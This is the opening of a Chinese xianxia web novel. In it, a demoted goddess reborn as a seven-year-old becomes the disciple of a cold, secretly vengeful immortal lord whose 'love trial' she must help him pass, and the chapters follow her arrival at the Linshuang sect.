《叠满虐梗buff后被攻略对象疯狂倒贴》
1. 情劫
正是孟春之际,前日的积雪刚刚融化些许,疾风骤雨,寒风侵肌,空气中隐约掺了难以察觉的血腥味,又被落雨覆盖。
青容靠在石阶上,醒来时身上还很酸痛,脑中也是浑浑噩噩,像是被搅在江水中灌了几天。
入目是丛丛枯林,枝头挂了碎雪,她缓缓起身眺望四周,小声嘀咕:“这便是……已经开始了?”
当时事发急促,容不得深思熟虑,她这被一脚踹下来的凡间历劫,真是不给点准备时间。
任务压身,她意识回笼极快——此番下凡并非她自己的渡劫,而是需要她去帮助仙尊完成历劫,既然醒了,那么第一件事自然要先把人找到。
司命说,仙尊会出现在仙门,可也没说具体是哪个门派,凡间偌大,又用不了法术,得她自己去打听,不能耽搁时间。
她揉了揉尚且酸疼的小臂,可下一刻,忽然有一道刀光闪过,青容一愣,本能躲开,刀刃近乎同她擦肩而过,割掉了她一缕发丝。
三个黑袍遮身的人不知何时出现在她身前,仅露出的眼睛虎视眈眈盯着她,三个人的袖口都沾着血迹,赤红色,显然刚染上去不久。
她刚刚躲开了,血不是她的。
刚醒来就被结结实实劈两刀,青容有些发懵,可不容她多想,刀光再次靠近,青容心中一沉,只得转身应对,灵巧地躲开一刀又一刀。
虽说下凡历劫后修为消失,但这种近身肉搏的基础还在,她可以勉强和人斗一斗。
可是很快,她便发现一个致命的问题——体力不支。
眼前的杀手比她高大不少,甚至不是一般的高大,青容跟他们绕了一会,才意识到不太对劲。
她似乎……变成一个小孩了。
这该死的渡劫怎么还带缩小功能?那帮老仙君知道了不得排队渡劫体会青春?
青容微微蹙眉,这样下去不行,就这毫不留情的招式,对面完全是些杀人不眨眼的恶魔,她一个手无寸铁的小孩支撑不了多久。
她千万不能死,她此番下凡,就是为了助仙尊渡劫,如果她现在死了,仙尊也得玩完。
那仙界就跟着玩完了!
念及于此,确实半点岔子出不得,只能暂时逃命,她精准抓住对面招式空挡,毫不犹豫将水坑的积水踢到提刀人的脸上,转身便跑。
为什么刚醒就有人要追杀她?她这辈子勤勤恳恳修炼行善积德,除了前几天不小心用雷把人劈了,其余她可什么错都没犯过啊!
杀手登时震怒,朝她奔袭而来,她的腿似乎受了伤,又或许是天气太冷可能冻僵的缘故,脚下有些使不上力,动起来很艰难。
身后脚步愈发靠近,几乎能感受到刃光的寒意,青容已经做好了殊死一搏的准备,可就在这时,脑海深处忽的传来一道声音。
“助仙尊历劫时期,你有三次动用仙力的机会,当下可否使用?”
青容差点摔个趔趄。
是了,她记得司命和她说过,她的法器鎏虹双剑会化灵,指引并帮助她助仙尊历劫,这声音应当就是她那鎏虹剑,说通俗一点,司命似乎称之为系统。
“鎏虹?”青容登时重新看到希望,“你快出来把他们都赶走,哎呦真受不了这帮人,就知道欺负小孩。”
“不行啊。”鎏虹道,“我在凡间也用不了术法,召唤出来也是个破铜烂铁。”
“那也比手无寸铁的好啊。”三次机会,这生死关头要不先用一次得了,青容随即下定决心,“那行,鎏虹你就先动用……呀!”
她的下半句话哽在了喉咙。
看到眼前突如其来的一抹白色时,青容想要停步已然来不及,扑面而来一股淡淡的清香,带着冻雪般的寒意,却又彻人心扉。
这人出现得悄无声息,跟瞬移似的,她竟是完全没有发觉,就这样直直撞到人身上,差点把鼻子磕碎。
青容第一反应是哪个不长眼的挡她逃命的路,随即又想到那些杀手恐怕已经杀红了眼,这人出现在这岂不是也很危险?谁是迟那时快,她想也不想看也不看就抓过身旁人的手:“快跑!这帮人杀疯了!”
身旁人却是不动,反而扣住她的手腕又用力地将她那小身板拉了回来,与此同时,她听到了一道低沉而冷冽的声音,带着些许质问:“你要被杀了?”
“……”
青容一时哑然。
就目前情况来看,大概是的,可这么毫不留情的直接问她,是不是忒过分了些?凡间这些人都不知道保护小孩脆弱的心灵吗?
她忍不住想仰头一睹真容,可紧随而来的杀手也已赶到,她被迫收回目光,瞧着眼前这一批凶神恶煞的提刀大汉,稍加思索,又临时换了个决定。
她往身旁人身后一躲,很果断,很真情实感:“大哥救命!”
他声音听着很年轻,大抵年纪不大,这么喊应当没错。
而且这人动都不动,毫不畏惧几个杀手的靠近,哪怕不看脸也觉得气场十分强大,定是高手!先找他罩一下,不行再催动法力也不迟!
不过事实似乎远比她想象中还要夸张。
这人气场大概比她预料的还要强大百倍,他只是静静站在这,几个杀手居然生生止住脚步,不敢再靠近。
“你是何人?”杀手隐约察觉到了不对劲,试探着问。
细碎的雨珠拍打在刀刃上,发出噼里啪啦的响声。
“临霜教,慕砚恒。”
回应的声音极冷又极淡,掺着不易察觉的森森杀意,裹着湿漉漉的寒风,将骨头缝都凉了透彻。
片刻寂静,似乎有咽唾沫的动静:“……仙门中人何时插手凡间事了?”
来人一声似笑非笑的轻嗤:“哦,本君比较闲。”
“……”
临霜教是仙门第一大派,慕砚恒这个名字更是响彻仙门,连凡间近乎也是人人知晓,原因很简单——此人天纵奇才,修为极高,十五岁时年纪轻轻便身居第一大派护教尊位,甚至和皇家还有联系。
这么一个人自然是不好惹的。
杀手暗自心惊,开始相互眼神交
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流逃跑之策,慕砚恒却不给他们机会,只见他身形如鬼魅,手中并无武器,只以手刀便顷刻间将杀手全部放倒,横七竖八摔在泥潭中,也不知还是死是活。
下手之利落,早市杀猪三十年的老师傅都得退让三尺。
慕砚恒缓缓回身,雨下得很急,可他身上有仙罩为护,雨水没有打湿他一丝一毫。月光之下,白衣隐约可见镂空暗纹光影流动,又有淡金细纹勾勒衣角,添了丝清冷的华贵。
他淡淡垂眸静默着打量人时,一双漂亮的桃花眸眼角微微上翘,本该摄人心魄,于他却像覆了层霜雪,于仰视的角度看,更是染了一层不符合他年龄的上位者的冷傲。
分明风姿冷峻出尘,眸中又偏偏带着寒芒般的锋锐,甚至是肃杀之意。
青容早已僵在原地,恨不得再离个十万八千里。
虽说瞧着似乎变年轻了些,但慕砚恒这名字……她可太熟悉了。
这就是被她用雷劈了,也是她要帮助渡劫的人,天枢仙尊慕砚恒。
按理来说,这真是得来全不费工夫,可慕砚恒在仙界就是个冷冰冰又高高在上的仙,孤傲的很,靠近三尺之内就觉得骨头缝发凉,如今到了凡间居然还变本加厉,她感觉眉心都在疼。
尤其是鎏虹在悄悄提醒她渡劫任务的事:“哎,他正好出现了,你快勾搭一下他,这是个好机会!”
青容忍着想翻白眼的冲动:“你没听说过他在仙界的样子吗?同这种人说话都是折磨……哦对,他的劫数是什么来着?”
“情劫啊。”
“……”
青容再一次震惊了。
她只是知道她要帮慕砚恒渡劫,可她不知道要渡的是情劫啊!这么个瞧着恨不得公平的给所有人冷眼的玩意怎么渡情劫啊?
鎏虹还在自顾自解释:“仙尊的劫,可谓是凡间话本著名狗血梗集大成于一劫,而你的任务,就是让他爱上你,把好感度刷满。”
等等,她忽然意识到一个问题。
她才多大?她站起来还不及他腰高!
情劫!这到底是谁的劫!这甚至已经不是情劫了,这是变态啊!
“你在嘀咕什么?”
慕砚恒不知何时靠近,正垂眸盯着她,青容回神,干笑两声:“我吓傻了自言自语玩呢,刚刚……生死关头,多谢恩人相救。”
“不必谢,本君本没打算救你。”慕砚恒神色微动,似乎在思索着什么。
嗯,话本里都是这么写的,这种高冷的主角在救人后都会非常傲娇,好像救人是什么耻辱似的,以彰显自己做好事不留名。不过被救是事实,青容刚准备痛哭流涕感恩戴德一番,只是她的情绪还没酝酿出来,脖子上便突然一凉。
慕砚恒举着剑,架在了她的侧颈。
“本君无心相救,你能活下来纯属是个意外,所以本君打算再把你杀了。”
青容:“……”
妈呀!地上那些横七竖八的人难道是自己突然睡着了?
天枢仙尊怎么转世成神经病了!
2. 强制拜师
青容在仙界时作为名不见传的散修,一心修炼,不张扬不惹事生非,兢兢业业活了几千年,从没人这么用剑对着她。
因此她是惊愕的,也是想把人打到地里去的,无奈实力不足,遂作罢。
“呃,您的思路是不是……有些异于常人?”
如果这人不是慕砚恒,不是她要攻略的人,她定然直截了当来一句:你脑子是不是有病。
慕砚恒也不知有没有听出这委婉质问里的骂意,他瞧着颇风轻云淡,只是眼前的女孩居然未显露惧色,倒是让他出乎预料。
一个七岁的小女孩,刚刚全家被杀,现在又濒临生死一线,居然不卑不亢的。
真不愧是朝中顶级暗桩杀手的女儿。
可惜青容才没这么有气概,她瞧着“不卑不亢”的原因是她本身并不担心慕砚恒会动手,鎏虹还在这里,真到生死关头自然会让她恢复仙力自保。
人间的仙门说到底只是修真门派,和仙界有本质上的区别,仙界随便一个垫底的散修扔到仙门都是降维打击的存在,更别说她勤勤恳恳在仙界修炼多年,若是那次渡劫成功,她定能跻身仙师行列。
可惜啊,谁知道那最后一道雷就正好劈到慕砚恒身上,不仅让她渡劫失败,还把正在闭关的仙尊给劈下凡了,她也只能跟着遭罪。
“你不怕本君?”
她看到慕砚恒似乎挑了挑眉。
在仙界肯定怕,但在凡间有什么好怕的?青容心中冷哼,面上倒装出一副怜色:“不怕,哥哥看起来是好人。”
这违心的话说得她头皮发麻。
但青容的确演技天赋极强,眼眶里硬是挤出泪光来,加上她此时只是七岁女孩的外表,身上尽是污渍,暴雨如骤,这么瞧着的确可怜兮兮的。
慕砚恒顿了顿,片刻后收回剑,淡淡回复了一句:“知道了。”
“……”
行吧,看在脸长得好看,不道歉就算了,她是大度人,不会在意这点不礼貌的小细节。如今生不逢时,她才没心思和慕砚恒来回拉扯,得先找个地方养活自己,长到十六七岁再谈情劫。
几秒之内她已经从搬砖想到了科考,可她还在犹豫着搬砖的地方要不要童工,手臂却突然被人抓住。
“既然本君是好人,那你便同本君回去吧。”慕砚恒道。
“……”青容眨巴眼,“不是,你等等……”
慕砚恒却不容她有半点抗拒,一挥手便拽着她御剑而起,还在下雨,雨珠打得脸生疼,寒风刮在湿透的衣服上,青容冷得七荤八素,赶紧躲在慕砚恒身后把他当成挡风墙。
“你也不怕高?”狂风中幽幽传来一点声音。
神仙怎么可能怕高?可是吧……青容灵机一动,装模作样就要往侧过身的慕砚恒身上扑:“我怕!我要晕倒了!”
这可是天枢仙尊,虽说人讨厌的很,但到底是帅的,抱一下不亏。
剑上空间小,慕砚恒想躲也躲不开,他明显没想到这小女孩这么豪迈,当下也是一愣。
脏兮兮的衣服将白衣蹭出一片泥灰,女孩甚至只到他腰际,瘦瘦小小的,只需要略微一抬脚就能把人踹下去。青容早已做好准备,死死抓着慕砚恒的腰带,只要他敢推,她就敢把腰带拽下来,保准让慕砚恒记她十年八年。
不过慕砚恒并没有动作,似乎真的成了温柔大哥哥。
她绝不信慕砚恒是这么暖心的人,果然,她看到慕砚恒轻轻一笑,笑意出现在他脸上没有如沐春风,只觉得依旧冷嗖嗖的:“本君没有推开你,算是又救了你一次,两条命,你准备如何还?”
虽然这救命之恩纯属扯淡,可这种情节,话本里是不是总写要以身相许来着?只是她现在这个年纪……青容略微哽住,慕砚恒却忽的捏住了她的肩。
“给你两个选择,要么同本君回仙门拜本君为师,成为临霜护教弟子,要么本君现在给你推下去,二选一。”
“……”
啊?什么拜师?怎么突然要拜师?
师如父,都成她爹了,那还能渡情劫吗?
“容容,这个要同意的,历劫任务里有这个项目,你必须成为仙尊的徒弟。”
鎏虹的提醒止住了她呼之于口的“快推我下去”。
青容咬咬牙,简直抓狂——情劫就算了,怎么连细节都要把控?他历个劫怎么这么多事?
凡间话本著名狗血梗……鎏虹刚刚同她说的时候,她只顾着震惊于情劫了,险些忘了这个“狗血”的含义。
这样下去,指不定慕砚恒的劫数还没历完,她就得先行崩溃。
“思量好了没有?”慕砚恒催促道。
事已至此,历劫为大,忍了!青容深吸一口气,撑出一个还算真诚的笑:“晚辈青容……参见师父。”
她看到慕砚恒似乎满意地点了点头,心头愤恨更起。
行,师徒,罔顾伦常是吧,这么渡情劫更有劲了,等慕砚恒历劫归来,午夜梦回都得尴尬得从十一重天跳下去。
以后有的他好受。
…
慕砚恒没有拖延,直接带她回了临霜教,而且是朝着正殿的方向去,还施法帮她擦干了身上的水渍。临时起意的收徒这般看来居然还挺正经,看样子是要带她面见各种同门长辈。
到底是第一次来,青容站在剑上,拽着慕砚恒的衣角,忍不住好奇打量。
凡间仙门倒是比她想象的要繁荣不少,不愧是什么仙门第一教,修仙氛围十分浓厚,殿宇繁荣,山峰高耸,云雾仙泽缭绕,隐约能听到晨起练剑的声音。
“拜见护教!”
正殿前,慕砚恒刚刚带着她一落地,弟子们便是排山倒海的行礼,齐刷刷的,连带着整座山头都抖了三抖。
慕砚恒没有停留,只轻轻点头示意,大概是练剑实在太无聊的缘故,有胆大的弟子已经悄悄抬眼开始打量护教身边的女孩。
青容连忙松开拽着衣角的手,自觉躲在慕砚恒身后,尴尬地搓搓鼻子,她上辈子可没这万众瞩目的待遇,一般她才是排山倒海当中的一员,如今反倒不大习惯。
只可惜她也只能自顾自尴尬,慕砚恒像是没看到这些打量目光似的,直接带她一步步踏上高阶,青容不用回头都知道一定有许多人停止练剑盯着她看。
鎏虹不知何时已悄无声息,她得空闲时间找个无人之处和鎏虹商议历劫具体事宜。
周遭逐渐安静,慕砚恒皓白的背影飘逸出尘,青容亦步亦趋跟在他身后,这台阶对她来说还是有些高,小身板一蹦一跳没几步便累了。
“咦,这是哪家的小孩子?”
不知走了多少步,她听到上方传来一道飘忽的声音。
青容抬头,入眼便是个剑眉星目气宇轩昂的男人,长得极其英俊端正,端正到近乎刻板,眉宇泛着不怒自威的严肃,有种下一刻会用戒尺逮人抽的气质。
可那语气分明带着调笑,跟他周身端庄深沉的气质几乎是割裂的。
慕砚恒还是一如既往的淡然,他不动声色将自己的衣角抽回,简简单单行了个平辈礼:“是我新收的徒弟。”
男子似是一愣,眉头轻蹙:“你收徒了
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?这……距离临霜弟子选拔还有两年,临霜从不开后门,这怕是不合规矩。”
慕砚恒略一摆手,语调很轻:“无妨的,谁有异议,叫他来找我。”
“……”
这么一尊大佛杵在这,底下有异议的人估计憋疯了都不敢多说一句。
青容已经和男子一样听呆了,她率先反应过来,见气氛不对,不管三七二十一先行个礼:“晚辈青容,拜见……呃……”
这谁啊?慕砚恒没和她说啊!
幸好男子似乎比较好相处,不管怎样,还是微笑着将她扶了起来:“本君临霜掌教陵渊,不必多礼,你……你既是护教的徒弟,便也是本君的师侄,这样,柏清你过来,带着她随处转一转,本君有话要同护教说。”
剑光掠过,半大少年的身影随即出现,大概便是被唤作“柏清”的人。同凌厉剑光不同的是,他眉目俊郎,周身气质很是谦和,没有打量她,也没有多说什么,只温润笑了笑:“师妹同我来吧,若不会御剑,我们便步行。”
能从慕砚恒身侧离开自然再好不过,青容果断点头:“好,那劳烦师兄带我走一走了。”
“应该的。”他又是一笑,“我姓龚名柏清,是掌教座下大弟子,你可以喊我大师兄,你叫青容对吧?那我便唤你小师妹?”
她其实不姓青,仙界无姓,下凡后她也不知道自己凡间的身份是什么,反正按照慕砚恒所说,她家里人大概是全没了,在仙门便先凑合用她自己的名字,等后面调查出本名下山后用也无妨。
“好的大师兄。”青容注意到龚柏清腰带处不起眼的紫色细纹,似乎和她刚刚无意间看到其他弟子的纹路颜色不一样,她忍不住问,“师兄,你的衣服和其他人不一样吗?”
难道这是掌教弟子的特权?
龚柏清点点头:“嗯,临霜教有三类弟子服,大致相同,唯有腰带纹路颜色区分为蓝青紫,分别为入门弟子,进阶弟子和高阶弟子,每四年由仙门大比成绩划分。”
青容似懂非懂,但也能听出些道理:“那大师兄岂不是最厉害的那批高阶弟子?”
被这么丁点大的女孩夸赞,龚柏清倒有些不好意思:“侥幸压线取胜罢了,我剑术不堪,还得努力练习。”
临霜教的弟子服整体简约朴素,配什么颜色都很合适,且纹路很淡,在腰带上并不显眼,但若细看还是能看到的。
龚柏清瞧着也就十五六岁的模样,却一副沉稳谦逊的气质,青容不经感慨这仙门生活真是蹉跎,看看把孩子磨成啥样了。只是历劫事宜还未确定,青容总不踏实,她便寻了个借口:“大师兄,我走的有些累了,此处风景正好,我想留在这随处看看,师兄要不先去忙别的?似乎还是晨练时间。”
龚柏清也不强留,他点点头:“好,那你便自己歇息,若遇事可直接传音护教,护教第一次收徒弟,想必是十分在意你的。”
“……”
在不在意不知道,心怀鬼胎一定是真的。
少年御剑而去,飘逸自得,青容忽然有些向往——下凡后她法力全无,完完全全是个凡人,出门都得靠走的,简直麻烦。
更麻烦的是,她还是个小孩,也不知什么时候能完成慕砚恒的情劫……她不会还要在这待十多年吧!
十年对神仙来说并不算久远,但要在慕砚恒身边求生,那就太漫长了。
“喂!你就是护教新收的徒弟?”身后忽的传来一道喊声。
……尤其是要顶着这样一个身份,在临霜教中不被针对成筛子。
她悲哀的想。
3. 下黑脚
“师弟,你……怎么突然就这样收徒了?”
穹川正殿的琉璃阶上,三人并排而坐,为首的正是掌教陵渊,他右侧是面色淡漠的慕砚恒,另一侧是名青衣女子。女子肌肤如雪,仪静体闲,如远山青黛般,清雅却又不像慕砚恒那么冷。
话音落下,两人都没回复,陵渊有些头疼,他无奈看向女子:“语楼,你劝劝吧,临霜教没有破格收徒的先例,当初凡间皇室想送皇子入仙门都不曾实现,这般破例,那孩子在门派也多多少少会受些委屈。”
临霜教是他们三人同时执教,没有什么绝对上的地位高低,他身为掌教,并不是没有否决的权利,只是在他眼里,一向孤冷寡言的慕砚恒还是头一遭这么坚定的想要完成一件事,也谈不上什么毁天灭地,若直接否决,似乎也显得他过分执拗些,那便只能先劝一劝。
女子正是临霜司教师语楼,掌管教派内务事宜,她微微蹙眉:“的确不妥,但她孤身一人,无依无靠,瞧着实在可怜,掌教要不……就破个例?”
“……”陵渊险些晕过去。
师语楼在临霜教的评价两极分化,男弟子认为她严厉,女弟子却觉得她亲和,原因很简单,师语楼对女弟子总是耐心更多,也更关怀些,尤其是对身世可怜的女孩子。
凡间许多穷人家的女孩被当做累赘抛弃,走投无路才会修仙,师语楼理所当然把身上脏兮兮的青容也当成了这一类可怜儿,不免偏心。
“至于会受委屈,不是还有护教师弟在?谁敢欺负她去。”师语楼抿抿唇,明眸中夹杂几分好奇,“不过这孩子年龄尚小,师弟怎么想起收她的?”
年纪小,教的东西就不止修行,又是女孩子,这般年纪不可能散养,对慕砚恒的性子来说,属实是为难的,更何况这是他第一次收徒。
慕砚恒静默着,从入殿紧急会议开始他就一直未曾开口,霁蓝的瞳孔深邃冷清,像是蒙了一层的薄雾。
这样破格的收徒十分莫名其妙,原因无他,他的确心怀不轨。
这是他仇人的遗孤。
十一年前,这女孩的父亲杀了他的全家,他苦苦修习至今,确定能不留痕迹的铲除这一家后方才下了山,却没想到有人捷足登先。
很正常,这样以接单杀人谋生的人当然不止他一个仇家,只可惜他赶在一个不巧的时间,人都死光了,就剩下这么个小孩。
入仙门本就是个计划,他并不是悲天悯人的圣人,没打算以德报怨。
只是,遗孤还小,且看起来什么也不知道,这么杀了实在太便宜,养大了,捧到高处,再毁掉岂不是有意思的多?
在魔宗时,他就很喜欢在暗处看平日里风霜高洁的仙人求饶的模样。如今没人知道他出身魔宗,倒是可以用护教身份光明正大的看。
“师弟?”陵渊见他似在发呆,轻唤了一声。
眸中冷意收回些许,慕砚恒淡淡道:“没什么,同她有眼缘罢了,师兄放心,我不会叫人欺负她。”
“哎,你这……罢了。”陵渊无奈叹气,“你难得收徒,就顺了你吧,回头我寻个理由,就说她根骨奇佳,是百年难遇的修仙奇才,因此破格录用,所以你一定要好好教她,可不能打我的脸。”
可惜,根骨他倒是顺手探了,平平无奇,只能期望着过几年临霜教集体忘记此事,反正那孩子年纪还小,用偷懒的理由也能糊弄过去。
而就在此时,穹川殿闯进一名弟子。
“三位尊者!不好了!”
陵渊本来头就疼,这下头更疼了:“怎么了?大呼小叫,没点规矩。”
“那个……护教新收的徒弟,和欧阳师兄打起来了!”
…
“你有完没完!”
“没完!你分明毫无内力,怎的就是无法击败你!”
这人简直跟疯狗似的咬着她不放,青容临时充当武器的树枝都换了几根,这人居然还不消停。她虽无内力仙法傍身,但修习千年的外家功夫绝不是凡间仙门的小辈可以比得上的,这种切磋也并非刺客不留情的杀手,多少有所收敛,因此青容一时竟能和他打的有来有回。
这疯子瞧着也就十三四岁,腰带是入门弟子的蓝色,和她大师兄差了两条街,若不是不知道该如何传音,她真想喊她的大师兄过来把这人踹飞。
这仙门全是脑子不好的玩意。
终于,就在第八根树枝断掉的瞬间,一股寒风从背后猛然袭来,却没有伤到她分毫,反而将面前的人掀了个跟头,“哎呦”一声重重砸在地上。
“欧阳晔!你在做什么!”
陵渊急匆匆赶过来,有些尴尬地瞥了眼脸色不太好的慕砚恒,登时又加了两句训斥:“这是护教的徒弟!你若是伤了她,就剥夺下届仙门大比资格!”
对于急于证明自己的少年来说,这着实狠了些,欧阳晔艰难地从地上爬起来,眼中蓄了泪,竟有些委屈:“师父,我没有要伤她,我只是想找她切磋,看看她水平如何。”
“笑话!你入门多久?她入门多久?你多大她多大?”
“我……我只是觉得护教收徒,徒弟定然有所不同,我真的只是好奇,没有伤人之心,我错了嘛师父,我去扫三个月的地,师父别生气了。”
欧阳晔跪在地上,眼泪汪汪盯着陵渊看,陵渊眉心更疼,他知晓自己的小徒弟并无伤人之心,但上来就切磋属实过分了些,这还是慕砚恒破格也要收的心肝徒弟,真破了皮,慕砚恒得把人劈了。
青容的确一点都没伤到,就是腿有点疼,她余光瞥到身侧的白影,立时明白刚刚那寒风出自谁手,稍稍有了欣慰。
总算干人事了,还知道护一护自己莫名其妙被揍的徒弟。
就是这欧阳晔哭的……倒像是她把人欺负了一样。
“明明是你打的我,你哭什么?”她叉着腰问,气鼓鼓的,人小小一团,竟有些可爱。
欧阳晔一哽:“我……”
“师父!他打的我手好疼!”青容毫不犹豫往慕砚恒那一靠,只可惜慕砚恒避开很快,她没站稳,重心不稳闪了个趔趄,慕砚恒不但没有扶她,甚至雪上加霜隐蔽地拌了她一下。
啪叽一声,青容五体投地。
陵渊:“……”
欧阳晔:“……”
慕砚恒神色如常,依旧是清冷仙尊的样子,风霜高洁的,好像刚刚是青容故意碰瓷的他。
青容坐回地上,有点懵,她抬眸看到慕砚恒的唇角似乎动了动,转瞬即逝。
见鬼了,这人内里的黑比她想象的还要夸张,临霜教这群人难道就不知道吗?
“师妹!”
龚柏清终于急匆匆赶了过来,将她从地上扶起:“怪我,我不该离开,请师父责罚!”
这俩人都是陵渊的弟子,性格却是天壤之别。
“那你俩一起扫山门吧。”陵渊呵斥完又转向慕砚
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恒笑笑,“师弟,小孩子胡闹,但的确没有恶意,此事要不便算了吧,从今往后青容便是临霜教正式弟子,找个机会举行一下拜师仪式吧?”
这算是各退一步,慕砚恒颇为满意:“多谢师兄,那便如此吧,我先带她回去了,拜师仪式暂且不用,风口浪尖上还是低调些好。”
不容青容拒绝,手臂便被紧紧抓住,整个人腾空而起,她又被慕砚恒拽上了剑,被迫御剑飞行。
她越想越气,趁人站在慕砚恒身前,果断踩了一脚他的鞋尖,停顿一下,又踩了一脚。
“想被扔下去?”慕砚恒冷冷垂眸。
“不敢,师父替徒儿出头,徒儿欣喜万分,就是师父这个脚一定要注意些,徒儿还小,万一磕到脑袋,徒儿死了无所谓,影响师父名声是大。”
她向来不是逆来顺受的人,哪怕这人是慕砚恒,把她惹恼了,打不过还不能怼两句吗?
徒弟都收了,总不能随手把她丢掉。
慕砚恒果然没真把她扔下去,就是风有点大,吹得她头发凌乱,糊了一脸,她咬着牙一路没吭声,终于隐约看到一座殿宇,雕栏玉砌,华贵典雅却不庸俗,牌匾上隐约书着“栖星阁”三字。
虽然早已料到,但真要和慕砚恒朝夕共处,她还是觉得脑仁泛疼。
“自己选一个房间。”慕砚恒轻飘飘道。
“呃,弟子顽皮,恐扰师父清净,所以离师父最远的房间是哪个?”
“为师不怕扰,那你便住为师隔壁吧。”
“……”
迟早把这人拍死。
青容干笑,慢吞吞跳下剑身,慕砚恒却再次唤住她。
“你能打得过欧阳晔?”
这句话带着明显质问。
青容一顿,面不改色寻了个借口:“是二师兄让了我,我这么个手无缚鸡之力的小孩,怎么可能打得过二师兄。”
“他向来争强好胜,切磋从不留情。”慕砚恒缓缓靠近,身高优势显得他的疑问带着几分威逼,“又或者,你身上还有什么为师不知道的事?”
青容并不心虚,她可以肯定自己内力全无,慕砚恒就算怀疑也绝对查不出什么来:“徒儿不明白师父在说什么。”
她毫不退避地同慕砚恒对视,稚嫩的面庞显出几分倔强,还有一丝被冤枉的委屈,倒真像那么回事。片刻后,慕砚恒缓缓移开目光,宛如什么都没发生:“去吧,明日寅时开始,与他们一同练剑。”
直到白色身影消失,青容才终于舒了口气,逃也似的把自己关在房间内,只觉得唏嘘:“哎,和他待一起真是折磨啊……鎏虹,你先将历劫具体事宜同我说吧,比如需不需要一些特定事件。”
“啊,这个是有的,还不少。”鎏虹娓娓道来,“现在你也看到了,你是他徒弟,你俩违背道德伦常。”
青容点头,这在凡间话本里不是没见过:“嗯,猜到了些,尚可接受,然后呢?”
“他的真实身份是魔宗宗主,未来将掀起血雨腥风,而你,是正道的光。”
这个也还行,对立面嘛,也是老桥段了,她接着微笑:“不过如此,还有吗?”
“他还是皇叔,你将来会被迫成为皇后。”
这个就……有点过分了啊,青容咳了咳:“那个,还有没有更炸裂的。”
“他并非皇族宗亲,因为你爹杀了他全家,你们有血海深仇哦。”
“……”
4. 好大几座靠山
青容静默了许久,直到肚子响起咕噜噜的声音,她才半梦半醒般问:“那个……确定是情劫吗?”
这能喜欢上?光一个仇敌关系,不在凡间这会就把她杀了简直是菩萨降临。
“所以,他知道我的身份吗?”不然为何那时恰好路过?可慕砚恒又的确没动她,甚至收她为徒,这可不像对待仇人遗孤的表现。
“不会,按照命簿所写,他全家被杀的时候他并不在场,刺客没有留下任何痕迹,在场的人也被尽数清除,同年他入了魔宗,又在次年入仙门,所以应当不知道是谁做的。”
“入魔宗又入仙门……也没人知道?”
“那当然,他身上并没有魔气,哦对,你千万不要把这件事往外说,会被当做造谣污蔑的。”
青容目光深远,愈发觉得这任务简直艰巨:“他这内里比我想象的还要黑啊,鎏虹,你有没有更详细的资料?”
“没有了,就这么多,命簿本来就很简略,否则也不用容容你相助历劫了,越是修为强大的仙尊历劫越危险重重,容易出岔子,我只能当个指引。”
青容长叹口气,腿部阵阵酸疼,脑袋比腿还疼,就刚刚那寥寥几句话,她几乎已经能猜到今后的情劫会是怎样的血雨腥风。
“容容你的腿是不是受伤了?要不要去找大夫看一下?”
“无妨。”青容忽的意识到一个重要问题,“对了,鎏虹我问你,此次下凡既然有身份,那我是直接穿到别人身上的?”
她还未曾看到自己的面貌,若是借了别人身躯,她总是觉得奇怪,幸而鎏虹同她解释:“不是的,这是你自己的身躯,只是年轻些,原主和她的家人已经死了,相当于你下凡后恰好顶替她的身份。”
“死了?”
“嗯,在你穿来之前半个时辰,被满门屠杀,一个不留。”
“……”青容眼角颤了颤,“怎么这凡间动不动就屠满门?”
“你身份原主的父亲是朝中刺客暗桩,告老还乡后被仇人寻上门,只能说冤冤相报吧,容容你最好不要涉及这些事,若被慕砚恒发觉你身份,那情劫就很麻烦了。”
凡间话本里再血海深仇的狗血相爱,那也都是爱上之后才知道有血海深仇,若顺序错误,相爱相杀就只剩后面俩字了。
虽然现在说这个实在太早了些。
敲门声忽的响起,很轻很慢,生怕吓到屋里人似的,但正在和鎏虹对话的青容还是惊了一下:“何人?”
“师妹,我是司教座下弟子陆怀夕,来给你送衣服。”
听到是女子的声音,青容稍稍舒了口气,这一路上又是被追杀又是被自己师父师兄坑,来个师姐简直是春天般的温暖,她立刻开了门摆出个微笑:“师姐好!”
她本就生得粉妆玉琢,笑起来更显天真烂漫,可爱得紧,陆怀夕“呀”了一声,眼睛跟着一亮:“这么可爱的小孩!难怪护教破例收徒,来给师姐抱抱!”
陆怀夕瞧着和她大师兄差不多年纪,模样很是文静漂亮,青容乖乖张起手臂的同时又忍不住想,这凡间仙门收弟子怕不是看脸的,甭管人怎么样,但脸绝对是赏心悦目,令人心旷神怡。
她被陆怀夕捞起来,闻到一股淡淡的草药香,但并不苦涩,青容平日里就很识时务者为俊杰,此时更为乖巧:“师姐你好好看!”
哪有女生不喜欢被夸漂亮的,尤其还是这么个水灵灵的小女孩,陆怀夕登时也顾不上她师父给她的任务了,她温柔地抱着青容,嘴角都要翘到耳根去:“师妹也好看,长大了定是个大大大大美人。”
青容不置可否,她在仙界时容貌常常被夸赞,时不时有男仙给她献殷勤,只是她一心修炼全都没搭理。不过被同门师姐夸一下似乎比被男仙追捧还要开心些,青容内心雀跃,声音也软软的:“师姐,我还有其他师兄师姐吗?我想今天都见见他们。”
打好关系总是好的,否则有事没事冒出来个人要和她比试,累都要累死。
就山门练剑那群人来看,她应当有许多同辈,谁知陆怀夕摇摇头:“近期门派事务繁重,掌教和司教都不大能抽出时间,最好过半个月再去,至于弟子,你已经见过龚师兄和欧阳师弟的话,其余人是不必见的,临霜教这边……嫡传弟子比普通弟子更受器重,更何况你是护教门下,你真去了,他们反而惶恐。”
停顿了一下,陆怀夕又兴奋道:“而且大师兄是高阶弟子,欧阳晔正努力修行,首席师兄和我们关系也不错,不会有人欺负你的,你可以时常去弟子居走一走。”
青容咂舌,这可真是……好大几座靠山。
只可惜,陆怀夕还是天真了些,明面上的欺负在经历欧阳晔那一遭后的确没人再敢,可暗地里的绊子绝对不会少。
入门那日陆怀夕带着她御剑围门派绕了几圈,算是看看风景,还给她带了两个烤鸡腿,慕砚恒也没有管她,由她玩去了。只是第二日清晨,青容从被窝里爬起来的时候还是带了些怨恨。
神仙休息都是打坐,不需要睡觉,她已经很久没体验早起这种生不如死的感觉了。
尤其是换好衣服抱着剑,拖着黑眼圈被陆怀夕拽去前殿和弟子们一同练剑时,那些弟子灼热的目光藏都不藏,跟黏在她身上似的。
好奇,探究,不服,甚至是嫉妒。
“哎,护教是不是没来得及教你基本剑法。”陆怀夕挠挠头,望向远端位于最高处的少年,“师兄,要不我先去教师妹剑法吧,就先不参与练剑了。”
